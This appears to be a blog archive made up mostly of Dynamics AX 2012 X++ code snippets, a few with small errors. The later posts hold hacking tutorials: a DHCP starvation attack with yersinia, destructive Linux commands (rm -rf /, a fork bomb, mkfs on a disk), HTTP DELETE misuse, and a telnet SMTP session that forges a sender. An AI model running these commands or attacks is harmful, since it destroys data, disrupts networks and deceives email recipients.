AX 2012:get current client language

get current client language


                                            companyinfo::languageId().

Alternative to Google Chrome

Alternative to Google Chrome : SRWare

If you have privacy concerns and beloved google chrome bothers you about privacy,Well this is for you all

SRWare Iron: The Browser of the future
Overview
News
Chrome vs Iron
- FAQ (frequently asked questions)
Download
 


SRWare Iron: The browser of the future - based on the free Sourcecode "Chromium" - without any problems at privacy and security

Google's Web browser Chrome thrilled with an extremely fast site rendering, a sleek design and innovative features.  But it also gets critic from data protection specialists , for reasons such as creating a unique user ID or the submission of entries to Google to generate suggestions. SRWare Iron is a real alternative. The browser is based on the Chromium-source and offers the same features as Chrome - but without the critical points that the privacy concern.

We could therefore create a browser with which you can now use the innovative features without worrying about your privacy.

We want our users to participate in our work and make the browser free to download under the name "SRWare Iron" into the net.

What does Iron makes different? Read here.



* Chrome and Google are registered trademarks of Google Inc. 

EP : Hide Webmenu Menuitem

 Hide individual menuitem from webmenu

//create OnSetMenuItemProperties event

     protected void AxToolBar_SetMenuItemProperties(object sender,                                                                                                          SetMenuItemPropertiesEventArgs e)
    {
        // Remove the menu item context (query string will be empty)
        if (e.MenuItem.MenuItemAOTName == "EP_XXXXXXXX") //
        {
            e.MenuItem.Hidden = true;
        }
        if (e.MenuItem.MenuItemAOTName == "EP_XXXXXXXX")
        {
            e.MenuItem.Hidden = true;
        }
     }

AX 2012: Access infolog in EP

    Access infolog in EP 

using Proxy = Microsoft.Dynamics.Framework.BusinessConnector.Proxy;
using ApplicationProxy = Microsoft.Dynamics.Portal.Application.Proxy;

    private ISession AxSession
    {
        get
        {
            AxBaseWebPart webpart = AxBaseWebPart.GetWebpart(this);
            return webpart == null ? null : webpart.Session;
        }
    }
    protected void AxGridView1_SelectedIndexChanged(object sender, EventArgs e)
    {    
        Proxy.Info objInfoLog = new Proxy.Info(this.AxSession.AxaptaAdapter);
        objInfoLog.add(Proxy.Exception.Warning, "Hello World");
    }

AX 2012: Get Current record in EP

    How do I pass the RecId of the selected record in the list page     to the user control?


Setting the proper properties on the menu item in the list page form will pass the record to the              web user control.
On the menu item just set the NeedsRecord to Yes (not mandatory, but better to have it set in               order for the button to be disabled/enabled), and the DataSource property to the table you want           to have its record passed.

In your user control just add an AxDataSource for a DataSet having the same table, and you will         get your record.

Then just get the record using a standard call in EP as shown (you must also have the                           DataSourceView method implemented):

internal IAxaptaRecordAdapter GetCurrentDatasourceRecord()

{

       IAxaptaRecordAdapter record = null;

       if (this.DataSourceView.DataSetView != null &&

           this.DataSourceView.DataSetView.GetCurrent() != null)

       {

           //setting the record as the current record in the datasource

           record = this.DataSourceView.DataSetView.GetCurrent().GetRecord();

       }

       return record;

   }

AX 2012 : Change Toolbar webmenu by code

 Change Toolbar webmenu by code  in Enterprise Portal

    protected void AxGridView1_SelectedIndexChanged(object sender, EventArgs e)
    {
        DataSetViewRow row;
     
        // Retrieve the current row.
        row = AxDataSource1.GetDataSet().DataSetViews["LoanRequest"].GetCurrent();
     
       // Retrieve the value.
       WorkflowStatus = row.GetFieldValue("WorkFlowStatus").ToString();
        Proxy.Info objInfolog = new Proxy.Info(this.AxSession.AxaptaAdapter);
     
        if (Convert.ToInt32(WorkflowStatus) == 1 || Convert.ToInt32(WorkflowStatus) == 5)
        {
            AxGridView1.AllowDelete = true;
            AxToolBar1.WebMenuName = "LoanRequest";
        }

        else if (Convert.ToInt32(WorkflowStatus) == 2 || Convert.ToInt32(WorkflowStatus) == 3 ||                 Convert.ToInt32(WorkflowStatus) == 4)
        {
            AxGridView1.AllowDelete = false;
            AxToolBar1.WebMenuName = "LoanRequestNotEdit";
        }

        else
        {
            //Do nothing
        }
    }

AX 2012 : Add Custom lookup on EP

Add Custom lookup on EP

The trick is to override datasetLookup() on Dataset > data source > field > methods. You will not find this method in the list of override methods so just create this as new method.
the table which we are using for lookup should be in the Dataset

public void dataSetLookup(SysDataSetLookup sysDataSetLookup)
{
    List list = new List(Types::String);

    Query query = new Query();

    QueryBuildDataSource    queryBuildDataSource;

    QueryBuildRange qbr;

    // Add the table to the query.

    queryBuildDataSource  = query.addDataSource(tableNum(LevpayDependentDetails));

    //add the range

    qbr = queryBuildDataSource.addRange( fieldnum(LevpayDependentDetails, PersonnelNumber));

   // qbr.value(DirPersonUser::currentWorkerPersonnelNumber());

   // qbr.status(RangeStatus::Locked);

     // Specify the fields to use for the lookup.

    list.addEnd(fieldStr(LevpayDependentDetails,DependentId));

    list.addEnd(fieldStr(LevpayDependentDetails,Name));


     sysDataSetLookup.parmLookupFields(list);

     // Specify the field that is returned from the lookup.

    sysDataSetLookup.parmSelectField('DependentId');

     // Pass the query to the SysDataSetLookup so that the query is used.

    sysDataSetLookup.parmQuery(query);
 
}

AX 2012 : Unbalanced X++ TTSBEGIN/TTSCOMMIT

Unbalanced X++ TTSBEGIN/TTSCOMMIT


Run this job For get rid of this error

static void _ResetTTS(Args _args)
{
    while (appl.ttsLevel() > 0)
    {
        info( strfmt("Level %1 aborted" ,appl.ttsLevel()));
        ttsAbort;
    }
}

AX 2012 :AxBuild Compilation

AX 2012 Command prompt compilation / AxBuild.exe for Parallel Compile on AOS of X++ to p-code


  • Open CMD with admin Privileges
  • Find out where AX is installed (in My case its C drive)
  • cd to this path : C:\Program Files\Microsoft Dynamics AX\60\Server\(yourServer)\bin
  • check whether AXbuild.exe is present
  • type the below command to CMD (Dont forget to change path if needed)
  • C:\Program Files\Microsoft Dynamics AX\60\Server\(your Server)\bin>
    AxBuild.exe xppcompileall /workers=4 /s=01 /nocleanup /altbin="C:\Program Files (x86)\Microsoft Dynamics AX\60\Client\Bin"
  • /workers=4  : compilation will schedule into 4 seperate process means 4 CMD will be open
  • /s=01            : How many AX instances you have (I have only 1)
  • add at the end of the above command /log:"C:\temp" if you want create log file after compilation(Optional)
  • Press Enter

AX 2012:Company Logo,Company info

 How to get Comapny Logo and company info using X++  


   TableTmp TableTmp;

    CompanyInfo                  companyInfo = CompanyInfo::find();

    TableTmp.CompanyName      = companyInfo.Name;
    TableTmp.CompanyLogo      = FormLetter::companyLogo();
    TableTmp.CompanyAddress   = companyInfo.postalAddress().Address;
    TableTmp.CompanyPhone     = companyIknfo.phone();
    TableTmp.Rectid           = companyInfo.phoneLocal();

AX 2012: accessing previous value of a field

   Accessing previous value of a field


  *You can try this logic in validate or modified field methods*
            
   DictTable dictTable;
DictField dictField;
tableId tableId;
fieldId fieldId;
#DictField
PurchParmLine purchParmLine;

            if(any2real(this.(_fieldId)) < any2real(this.orig().(_fieldId)))
            {
                
               dicttable = new DictTable(tablenum(PurchParmLine));             
               fieldId   = dictTable.fieldName2Id("ReasonTableRef");
               dictField = dictTable.fieldObject(fieldId);
              // dictField =new DictField(tablenum(PurchParmLine), fieldnum(PurchParmLine,                                  ReasonTableRef));
                if (!dictField.isSystem() && bitTest(dictField.flags(), #dbf_visible)
                && bitTest(dictField.flags(), #dbf_mandatory))
                {
                     info(strfmt("Field number %1 changed from %2 to %3",_fieldId,this.orig().                                          (_fieldId),this.(_fieldId)));
                }
            }

AX 2012:Add MenuItem To Dialogue Box

 Add MenuItem To Dialogue Box

  Write in UI builder Class  build  method


   DialogGroup dlgGrp;
   Dialog      dlg = this.dialog();
  
super();
  
dlgGrp = dlg.addGroup('cutomgroup');
dlg.addMenuItemButton(MenuItemType::Display,menuitemDisplayStr(yourmenuitem),Dia                 logMenuItemGroup::CurrentGrp);

AX 2012: Adding Query range Dynamically

    Query                   query;
    QueryRun                queryRun;
    QueryBuildDataSource    qbds1;
    QueryBuildRange         qbr1, qbr2,qbr3,qbr4;
 
    query = new Query();
    qbds1 = query.addDataSource(tableNum(Table_Name));
    if(Condition)
    {
         qbr1  = qbds1.addRange(fieldNum(Table_Name, Fieldname1));
         qbr1.value("Value");
    }
    if(Condition)
    {
         qbr2  = qbds1.addRange(fieldNum(Table_Name, Fieldname2));
         qbr2.value("Value");
    }
    if(Condition)
    {
         qbr3  = qbds1.addRange(fieldNum(Table_Name, Fieldname2 ));
         qbr3.value("Value");
    }
     if(Condition)
    {
         qbr4  = qbds1.addRange(fieldNum(Table_Name, Fieldname3));
         qbr4.value("Value");
    }
 
    queryRun = new QueryRun(query);

Ax 2012: Lookup with Joins


//This is for lookup with InnerJoin ////Write in Form Level Design>Field>Lookup

public void lookup()
{
   // create the query for the lookup
   Query                   query                = new Query();
   QueryBuildDataSource    cpj;

   QueryBuildDataSource    bol;
   QueryBuildRange         qbr1;

  // Intantiantes a SysTableLookup object telling it which control activated the lookup, and
// what table should be displayed inside the lookup form.(root table)
//"Failed to execute query because no root data source on the form matches the root datasource on            the query"
//This error can occur when the wrong TableId is passed in SysTableLookup::newParameters().
//Make sure you use the table you want to do the lookup in (not the table you're doing for).

   SysTableLookup sysTableLookup = sysTableLookup::newParameters(tableNum(LTCustomerDetails),this);

   cpj   =   query.addDataSource(tablenum(LTCustomerDetails));
   qbr1  = cpj.addRange(fieldnum(LTCustomerDetails,LTCustomerID));

   qbr1.value(queryvalue('3'));

   //Join Table
   bol   = cpj.addDataSource(tablenum(LTPurchaseDetails));
   bol.relations(false);
   bol.joinMode(joinmode::InnerJoin);
   bol.addLink(fieldnum(LTCustomerDetails,LTCustomerID),fieldnum(LTPurchaseDetails,LTCustomerID));

   //Add the query to the lookup form
   sysTableLookup.parmQuery(query);

   // Add fields that will be shown in the lookup as columns
   // Specify the fields to show in the form.
   sysTableLookup.addLookupfield(fieldNum(LTCustomerDetails,LTCustomerID));
   sysTableLookup.addLookupfield(fieldNum(LTPurchaseDetails,LTCustomerName));
 
   // Perform the lookup
   sysTableLookup.performFormLookup();

}

example


public void lookup() //on form level
{
    Query query = new Query();
    QueryBuildDataSource queryBuildDataSource;
    QueryBuildDataSource queryBuildDataSource2;
    QueryBuildRange      queryBuildRange;

    SysTableLookup sysTableLookup = SysTableLookup::newParameters(tableNum(InventTable), this);

    sysTableLookup.addLookupField(fieldNum(InventTable, ItemId));
    sysTableLookup.addLookupField(fieldnum(InventTable,NameAlias));
 
    queryBuildDataSource = query.addDataSource(tableNum(InventTable));
    queryBuildDataSource2   = queryBuildDataSource.addDataSource(tablenum(EcoResProduct));
    queryBuildDataSource2.relations(false);
    queryBuildDataSource2.joinMode(joinmode::InnerJoin);
    queryBuildDataSource2.addLink(fieldnum(EcoResProduct,RecId),fieldnum(InventTable,Product));          
       
    queryBuildRange = queryBuildDataSource2.addRange(fieldNum(EcoResProduct,LTPurchaseOrderType));
    queryBuildRange.value(enum2str(PurchTable.LTPurchaseOrderTypes));


    sysTableLookup.parmQuery(query);
    sysTableLookup.performFormLookup();
}

X++: write multiple cases together

Multiple Cases in Switch:


switch (value)
{
   case 1:
   case 2:
   case 3:
      //do some stuff
      break;
   case 4:
   case 5:
   case 6:
      //do some different stuff
      break;
   default:
       //default stuff
      break;
}
More info

AX 2012:Record level security (RLS)

Record level security in Dynamics AX


As user group permissions are responsible for setting up the security and information access in AX,
Record level security is another nice feature in AX system that restrict the records you can see in a table depending on record data.

As an example, there might be a situation where you would like to limit users in sales team to see their customers only,
or Purchase Orders created in one site should be accessed to some users and not to the other users.

RLS - Record level security can be used to restrict information shown on forms and reports. I've put together some steps to implement it.

1. Make sure you have the user group already created, to set RLS on.

2. Open up the RLS wizard from Administration - Setup- Security - Record Level Security

3. Select the User group you want to set RLS on.

4. Select the table and hit finish.

Now that you have the RLS enforced on the table, you can click Query option and specify list of fields on the Range tab
that you want to show on forms and repors for the selected user group.

AX 2012:info Log

The method setPrefix() will help you to group info(), warning() and error() messages with a header. using setPrefix() will make a indentation for your current block of code (everything between { and }). Leaving the code-block will automatically result in going one indentation back.

int i;
int j;
;
setPrefix("custom setPrefix");

for (i=1 ; i&lt;=2 ; i++)
{
setPrefix(strfmt("Prefix %1", i));

for (j=1 ; j&lt;=3 ; j++)
{
info(strfmt("Info %1", j));
}
}

try this on a job

AX 2012 :Excel upload

Generate excel upload template  

public static void createTemplate()
{
    SysExcelWorksheetHelper     worksheetHelper;
    SysExcelHelper              sysExcelHelper;
    SysExcelWorksheet           worksheet;
    int                         currentRow = 1;
    int                         column = 0;
    int                         sumRow;
    str                         worksheetName;
    int                         redColor = WinAPI::RGB2int(255, 0, 0);
    SysExcelRange               range;
    COMVariant                  cellValue = new COMVariant(COMVariantInOut::Out);
    DictField                   field;

    // Sets the font color for a range of cells
    void setRangeFont(int _fromColumn, int _fromRow, int _toColumn, int _toRow, int _rgbIntColor)
    {
        range = worksheetHelper.getWorksheetRange(_fromColumn, _fromRow, _toColumn, _toRow);
        worksheetHelper.setFontColor(range, _rgbIntColor);
    }

    worksheetName       = 'customsheetname'';
    sysExcelHelper      = SysExcelHelper::construct();
    sysExcelHelper.initialize();
    worksheet           = sysExcelHelper.addWorksheet(worksheetName);
    worksheetHelper     = SysExcelWorksheetHelper::construct(worksheet);

    // Populate the header row with the appropriate field labels and format the columns
    worksheetHelper.addColumn(1, 'Item', Types::String);
    worksheetHelper.addColumn(2, 'Barcode', Types::String);
    worksheetHelper.addColumn(3, 'Quantity', Types::Real);
    worksheetHelper.addColumn(4, 'Order reference', Types::String);
    worksheetHelper.addColumn(5, 'Serial number', Types::String);
    worksheetHelper.addColumn(6, 'WareHose', Types::String);
    worksheetHelper.addColumn(7, 'Location', Types::String);


    worksheetHelper.autoFitColumns();
    worksheetHelper.formatWorksheetTableStyle(sysExcelHelper.getOfficeVersion());

    sysExcelHelper.launchExcel();
}

AX 2012 :Financial Dimensions Lookup

add this logic into your lookup method and pass dimensionAttributeName = your dimension name
    Args                    args;
    FormRun                 lookupFormRun;
    DimensionAttribute      dimAttr;
    Object                  object;
    Name                    dimensionAttributeName;
    LTFinDimLink                        ltFinDimLink;

    select * from ltFinDimLink;
    if(FinDimLink.DimensionForColor)
    {
      dimensionAttributeName =   FinDimLink.color;
    }
    if (_ctrl != null)
    {
        // Construct arguments for the custom lookup
        args = new Args();
        args.name(formStr(DimensionDefaultingLookup));
        args.lookupValue(_ctrl.text());
        args.caller(_ctrl);

        // Find the dimension attribute associated with the string control which called this method
        dimAttr = DimensionAttribute::findByLocalizedName(dimensionAttributeName);
        args.lookupField(dimAttr.ValueAttribute);
        args.record(dimAttr);

        // Run the custom lookup and init the lookup form
        lookupFormRun = classfactory.formRunClass(args);
        lookupFormRun.init();

        // Specify this is the callback on the lookup form by casting the
        // form to an object and late binding the setResultCallback method
        if (SysFormRun::hasMethod(lookupFormRun, identifierStr(setResultCallback)))
        {
            object = lookupFormRun;
            object.setResultCallback();
        }

        _ctrl.performFormLookup(lookupFormRun);

AX 2012:Date Conversion

Date Conversion

public boolean validateField(FieldId _fieldIdToCheck)
{
    boolean ret;
    str     datestr;

    ret = super(_fieldIdToCheck);

    ret = super(_fieldIdToCheck);
        if (ret)
        {
            switch (_fieldIdToCheck)
            {
                case fieldnum(LTMortgage, ValidTo) :
                    datestr = Date2Str(this.ValidTo,123,2,3,2,3,4);
                    if (datestr!= "" && this.ValidTo <= this.ValidFrom)
                    {
                        ret = checkFailed('ValidTo date should be greater than ValidFrom date');
                    }
                break;
                case fieldnum(LTMortgage, ValidFrom) :
                    datestr = Date2Str(this.ValidFrom,123,2,3,2,3,4);
                    if (datestr!= "" && this.ValidFrom >= this.ValidTo)
                    {
                        ret = checkFailed('ValidFrom date should be less than ValidTo date');
                    }
            break;
            }
        }

    return ret;
}

I am getting following best practice when I write following code

Date2Str(<date>,123,2,3,2,3,4)

BP error : "dateflag should be specified when calling date2str"

how to resolve this Best practice.

resolved this BP when added DateFlags::None

AX 2012 :Financial Dimensions

Financial Dimensions


Here is a couple of helper methods that simply the retrieval of dimension data.
These can be included in a helper class and referenced to as static methods are normally,
but I recommend including these in your Global class, then you can just call the method directly.
I have 2 methods: dimValue() and dimDesc(), they return the value and description, respectively.
 Code and usage is below:

//Usage for dimValue() and dimDesc()
static void JobDimensionUsage(Args _args)
{
    SalesLine       sl;

    DimensionValue  value;
    Description     desc;
    ;
    select firstonly sl;

    value = dimValue(sl.DefaultDimension, 'Department');
    desc = dimDesc(sl.DefaultDimension, 'Department');

    info(strfmt("%1: %2", value, desc));
}
static DimensionValue dimValue(RefRecId _defaultDimension, Name _name)
{
    DimensionAttributeValueSetItemView  davsi;
    DimensionAttribute                  da;
    ;
    select DisplayValue from davsi
    where davsi.DimensionAttributeValueSet == _defaultDimension
    join RecId from da
    where da.RecId == davsi.DimensionAttribute
        && da.Name == _name;

    return davsi.DisplayValue;
}

static Description dimDesc(RefRecId _defaultDimension, Name _name)
{
    DimensionAttributeValueSetItemView  davsi;
    DimensionAttribute                  da;
    DimensionFinancialTag               dft;
    DimensionAttributeDirCategory       dadc;
    DimAttributeCustTable               dact;
    DimAttributeProjTable               dapt;
    ;
    select DimensionAttributeValueSet from davsi
    where davsi.DimensionAttributeValueSet == _defaultDimension
    join RecId from da
    where da.RecId == davsi.DimensionAttribute
        && da.Name == _name
    outer join Name from dadc
    where dadc.DimensionAttribute == da.RecId;
    outer join Description from dft
    where dft.RecId == dav.EntityInstance
        && dft.FinancialTagCategory == dadc.DirCategory
    outer join Name from dact
    where dact.RecId == dav.EntityInstance
        && dact.Value == davsi.DisplayValue
    outer join Name from dapt
    where dapt.RecId == dav.EntityInstance
        && dapt.Value == davsi.DisplayValue;

    return (dft.Description ? dft.Description : (dact.Name ? dact.Name : (dapt.Name ? dapt.Name : "")));
}

reference from

AX 2012: Dimensions

AX 2012 Dimensions


Inventory Dimensions are classified into 3 groups

1. Product :: Color,Size,Configuration.

2. Storage:: Site, Warehouse,Location,Pallet Id.

3. Tracking :: Batch number , Serial number.

Financial dimensions

GL > setup > Financial dimensions [there will be Existing and custom list etc.]

Secret Codes For Android

Secret Codes For Android 


1. Complete Info About your Phone

*#*#4636#*#*

This code can be used to getsome interesting information about your phone and battery. It shows following 4 menus on screen:
Phone information
Battery information
Battery history
Usage statistics

2. Factory data reset

*#*#7780#*#* .

This code can be used for a factory data reset. It'll remove following thing
Google account settings stored in your phone
System and application data and settings
Downloaded apps.. It'll NOT remove: Current system software and bundledapplication
SD card files e.g. photos, music files, etc.
Note: Once you give this code, you get a prompt screen asking you to click on "Reset phone" button. So you get a chance to cancel your operation.

3. Format your Android.
*2767*3855#

Think before you give this code. This codeis used for factory
format. It'll remove all files and settings including the internal memory storage. It'll also reinstall thephone firmware.

Note: Once you give this code, there is no way to cancel the operation unless you remove the battery from the phone. So think twice before giving this code.

4. Phone Camera Update

*#*#34971539#*# *

This code is used to get information about phone camera. It shows following 4
menus:
1. Update camera firmware in image (Don't try this option)
2. Update camera firmware in SDcard
3. Get camera firmware version
4. Get firmware update count

WARNING: Never use the first option otherwise your phone camera will stop
working and you'll need to take your phone to service center to reinstall camera firmware.

5. End Call/Power

*#*#7594#*#*

This one is my favorite one. This code can be used to change the "End Call / Power" button action in your phone. Be default, if you long press the button, it
shows a screen asking you to select any option from Silent mode, AirPlane mode and Power off. You can change this action using this code. You can enable direct power off on this button so you don't needto waste your time in selecting the option.

6. File Copy for Creating Backup

*#*#273283*255* 663282*#*#*

This code opens a File copy screen where you can backup your media files e.g. Images, Sound, Video and Voice memo.

7. Service Mode

*#*#197328640#* #*
This code can be used to enter into Service mode. You can run various tests and change settings in the service mode.

8. WLAN, GPS and Bluetooth Test Codes:
*#*#232339#*#* OR*#*#526#*#* OR*#*#528#*#* - WLAN test (Use
"Menu" button to start various tests)

*#*#232338#*#* - Shows WiFi MAC address

*#*#1472365#*#* - GPS test

*#*#1575#*#* - Another GPS test

*#*#232331#*#* - Bluetooth test

*#*#232337#*# - Shows Bluetooth device address

9. Codes to get Firmware version information:

*#*#4986*265046 8#*#* - PDA, Phone, H/W, RFCallDate

*#*#1234#*#* - PDA and Phone

*#*#1111#*#* - FTA SW Version

*#*#2222#*#* - FTA HW Version

*#*#44336#*#* - PDA, Phone, CSC, Build Time, Changelist number

10. Codes to launch various Factory Tests:

*#*#0283#*#* - Packet Loopback

*#*#0*#*#* - LCD test

*#*#0673#*#* OR*#*#0289#*#* - Melody test

*#*#0842#*#* - Device test (Vibration test and BackLight test)

*#*#2663#*#* - Touch screen version

*#*#2664#*#* - Touch screen test

*#*#0588#*#* - Proximity sensor test

*#*#3264#*#* - RAM version

*USE AT YOUR OWN RISK*

Hack a DHCP Server

How To Hack a DHCP Server

What is DHCP?
Dynamic Host Configuration Protocol ( DHCP ) is a
network protocol that enables a server to automatically
assign an IP address to a computer from a defined
range of numbers (i.e., a scope) configured for a given
network.
DHCP work on DORA concept.
1. Client makes a UDP Broadcast to the server with a
DHCPDiscover, or Discover packet.
2. DHCP offers to the client. The server sends a
DHCPOffer including other configuration parameters
(DHCP Options) for the client per the servers
configuration file
3. In response to the offer Client requests the server.
The client replies DHCPRequest, unicast to the server,
requesting the offered address.
4.The server sends DHCP Ack acknowledging the
request which is the clients final permission to take the
address as offered. Before sending the ack the server
double checks that the offered address is still available,
that the parameters match the clients request and (if
so) marks the address taken.
Attack on DHCP Server :-
Open the Kali Linux terminal and type the command
root@kali:~#yersinia -G to open the GUI interface of
yersinia.
now click on the Launch Attack option and select the
DHCP option.
now select the Sending DISCOVER packet option for
your attack.and click on the OK.
now it will start the attack on DHCP server , it will send
ton of packets on your DHCP server within second.
With Yersinia , you are able to attack on CDP , DHCP ,
802.1Q , 802.1X ,DTP , HSRP, ISL , STP and VTP
protocols.
Countermeasures or Mitigation :-
You need to be enable DHCP Snooping on the Cisco
Switches:-
DHCP snooping allows the configuration of ports as
trusted or untrusted
Untrusted ports cannot process DHCP replies
Configure DHCP snooping on uplinks to a DHCP
server
Do not configure DHCP snooping on client ports.
Configuring DHCP Snooping

Note :- This Tutorial is for Education Purpose only.

-H4ckz

Compress Large Files

How To Compress Large Files Using Winrar


WinRAR is a powerful archive manager. It can backup your data and reduce size of email attachments, decompress RAR,ZIP and other files downloaded from Internet and create new archives in RAR and ZIP file format.
You can download the trial version of the software at rarlab. com

To compress large file using Winrar follow simple steps given below:

Step 1: Select and Right click on the file you want to Compress and select Add to Archive option.

Step 2: A window will pop up with various options. In Archive name field type the name of your archive manually in the text box provided below.
Step 3: When creating a new archive, you first need to select the archive format.
ZIP is preferable when you are not sure that a receiver of your archive has WinRAR.
Otherwise just select RAR, since it provides more options and higher compression.
Step 4: There are six compression methods supported: "Store", "Fastest", "Fast", " Normal", "Good" and "Best".
The Best method provides high, but slow compression.
Fastest method compresses poorly, but it is very fast. Store method just merges files into an archive without any compression.
If you want to create an archive for distribution or for long storage,
It would be best to probably ignore the time constraint and choose the Best compression method to reduce the size as much as possible.
But for daily backups choose Normal compression method.
Step 5: At the bottom there is a Tab saying “ Split to Volume, Bytes” In the box enter a figure or you can use the drop down menu to make your choice.
Remember you have to enter the value in bytes, kilobytes or megabytes and this applies only to .rar extension. (1024 KB equals 1 MB)
In the example below, I have chosen 98078 KB which comes to around 95.77 MB.
Step 6: When you have chosen the right options for your archive, click the OK button.
-HAckz

Deadly Commands In Linux

Deadly Commands In Linux

1. rm -rf /  = Will Delete Everything.

Explanation:
 rm : Removes the files.
-rf : This Command will Run rm and will delete all files and folders without promting you
/ : This command will tell rm to start from root directory ie: all files on your computer including removable Drives.


________________________________________
2. :(){ :|: & };: = This Line Looks Simple but its Dangerous , Bash Function.
It Defines Shell Function that will Create New Copies Of Itself . This Process will Continue and Freeze Your Computer. It Can also be Called as Danial-of-Server Attack.


________________________________________
3. mkfs.ext4 /dev/sda1 = This Command will Format Your Hard drive

Explanation:
mkfs.ext4 : This part of command will create a new ext4 file system on following device.
/dev/sda1 : This part specifies the 1st partition on the 1st hard drive which is probably in use.

Similarly, This Command >  mkfs.ext3 /dev/sdb2  will Format the 2nd partition on the 2nd Hard drive with ext3 File system.


________________________________________
4. command > /dev/sda – This Command will Write Directly to a Hard Drive.
It Runs The command and sends the output of the command directly to Hard drive, writing the data to a Hard drive and Damaging your System.

Explanation:
command : Runs any Command
> : Sends the Output of the command to the following location.
/dev/sda : This command writes the output of the command directly to the hard disk.


________________________________________
5. mv ~ /dev/null – This Command Will Move your Home Directory To Black hole.
Consider /dev/null as Black hole here, moving anything to /dev/null is Gone Forever. Hence mv ~ /dev/null  will send all your personal files into black hole.

Explanation:
mv : moving following files to Another location.
~ :  This Represents your Entire Home Folder.
/dev/null : moves your home folder , Destroys all your files and deletes the original copy.
- See more at: http://www.geekofreak.com/2013/07/deadliest-commands-for-linux-that-you.html#sthash.2Gk3tq3Y.dpuf

How To Delete Files Of A Website

How To Delete Files Of A Website 

There is a way to delete files of a website with the help of the http [hyper text transfer protocol] but this security hole is mostely
closed, this hole is caused by stupid administrators which can't configure there apache or iis or any other http server

4-1-1 - HTTP

The http exists since 1990, before this time the internet was used to make a file exchange with the ftp or to get in mailboxes where you can write messages or many other things, with the http and html [hyper text mark language] the www_clients like netscape or ie can interprete this hyper text to display informations or other things like you know, but what the user can't see when he uses such a client that the http follows also the request_answer_play, the client requests informations with a special command, which i will explain beside others later, and the http server answers with the requested informations, this requests or answers are http messages which could be simple_request or simple_response or full_request or full_response, the simple http_messages based on http/0.9 and the full messages on http/1.0, but the difference between this messages is very small, except the one of html/0.9 and html/1.0

1 - get [address], the address is the whole like http://www.target.com/index.html this command requests the informations [the code] in this file and if the file is a cgi it have to be executed and the produced informations will be send to client the difference between this simple_request and the full_request is that the full_request ends with http/1.0 like this : [get http://www.target.com/index.html http/1.0]

2 - head [addy], it have to be a complete addy too, the small difference between this command and the get command is that this command only meta_tags and the other informations in the title tag

3 - post [addy], this is used for bigger data it is mostley used for data which have to be send to a program

4 - put [addy], with put you send data to the server like html documents and this data is saved under the addy

5 - delete [addy], this is the opposite of put so it deletes the data which you have specified with the addy

4-1 - How To Delete Files Of A Website
With your instinct you have discovered that there is a security hole, the http protocol today is used in combinition with the ftp, so that means ftp is used by webmasters to upload their files and http is used by the client to resolve these site, but in former times concrete, at the development of the http the developers aimed to make it easier to upload files, so not with the ftp and that means without a special ftp-client, so they created a command to upload and delete files on a webserver, but the problem is that the http didn't use an authentication but ftp does, so that means that the most administrators disabled these commands to shut a security hole, but there are not only experienced admins out there but stupid too, so there is still such a hole which waits to be used, how ever telnet is an excellent simple tool, so if you want to use this security hole connect to the destination hostname or ip [you can use a hostname because dns will be used to resolve the ip] on port 80, i have showed you guys how to do it, when the connection is established you can use the commands which are discribed.

*USE AT YOUR OWN RISK*

Telnet

What is Telnet ? 


Most of you only know that telnet is a Port [Port 23] or that telnet is a remote control tool, remote control means in this aspect that you as client can get a connection to for example a telnet server and then you can write commands in a derivate of a shell and these commands are executed only on this server not on your machine, but i want to show all you guys how to use this simple remote control tool in several ways, because this simpleness is brilliant, so hope i answered this question and if you are interested in go on and read if not stop reading and go pissing2 - How To Use Telnet ?

Telnet is a text based tool, so if you want to connect to the destination [128.62.254.12] write: 'telnet 128.62.254.12 23', so you see at first there is the command telnet to start the telnet client, the next is the destination address and last is the port, you know the telnet port 23, so i hope now you can use telnet3 - How To Send Anonymous Mails ?
3-1 - SMTP

Yes first i have to say somehting about the smtp [simple mail transfer protocol], the standard is written down in the rfc 821 [rfc = request for comments] it goes back to the year 1982, this rfc defines the commands which could be used These commands :

1 - HELO [client adress or name], it marks the begin of that telnet session and sends your name or address to the smtp server

2 - MAIL FROM [your mail addie], with this command you send your mail addie to server is also written in the e-mail as sender

3 - RCPT TO [recipient], with this command you define the recipient

4 - DATA, this marks the begnning of the e-mail if the server sends an ack [ackwoledge] you can begin to write the message

5 - RSET, reset this establishs the initial stage and the connection is canceled

6 - NOOP, no operation so it means that nothing is done

7 - QUIT, this is the ending of the smtp connection

But this are only the most important commands many commands have been added in this time after the rfc has defined them

EXPN, expand with this command maillist support will be available
VRFY, verify this command requests the confirmation of the recipient address
Caused of this addition them smtp is also called esmtp which means Extended smtp

3-2 How To Use SMTP To Send Anonymous Mails
First you have to find a free accessable smtp server, caused by spaming many servers has secured their systems like gmx with [smtp after pop] which means that at first you have to login at pop with your username and password for your gmx e-mail addie, after that the srever saves your ip for a special time in which you can connect to smtp server to send mails, freenet uses another secured system, this smtp server denies special recepient addies, so you have to search a free accessable mail server with out such secured servers, they exists, so after you have found such a server you can write in your shell : [telnet <serveraddy> 25] then your client connects to it, here is a complete telnet session :

Connected to mail.gmx.net.
220 {mp015-rz3} GMX Mailservices ESMTP
HELO www.The-Netrix.net
250 {mp015-rz3} GMX Mailservices
MAIL FROM:LinusTorvalds@linux.org
250 ... Sender Okay
RCPT TO:Bgate@microsoft.com
250 ... Recipient Okay
DATA
354 Enter mail, end with "." on a line by itself
Operating Systems are like sex, you have the best if it is free
.
250 Mail accepted
QUIT
221 mail.gmx.net closing connection
Connection closed by foreign host.

First your client trys to connect to the mail server, as sign that the connection is established the server answers with a command like that, then you say hello to the server with the command [HELO] and your machines name, next is another answer from server which is unimportant, after it you send your mail addy to server with the command [MAIL FROM:] followed by your addy, then the server check this addy and if it's ok he will inform you about it, next he expects the recipient and you won't let him wait with the command [RCPT TO:] followed by the addy of the recipient, if it's also ok you can start to write your mail after the command [DATA] which is followed by the ack of the server and the text or character which marks the end of the mail, then you write your mail
and end it how the server expect it, if the mail is ok the server will inform you for the last time in this session, after it there is no cause which should hold your connection so you will end it with [QUIT] and the server will send a last stupid message as sign that the connection is closed


Vulnerabilities Website

Types of Web Vulnerabilities 


[x] PHP code injection
[x] PHP curl_exec() url is controlled by user
[x] PHP invalid data type error message
[x] PHP preg_replace used on user input
[x] PHP unserialize() used on user input
[x] Arbitrary File Deletion
[x] Code Execution Hacking(LFI,RFI,Iframe Injection, Remote Code Execution)
[x] Cookie Manipulation (Meta HTTP-EQUIV & CRLF Injection)
[x] CRLF Injection (HTTP response splitting & Headers Injection)
[x] Cross Frame Scripting ( XFS )
[x] Cross-Site Scripting ( XSS - Persistent, Non-Persistent, DOM Based)
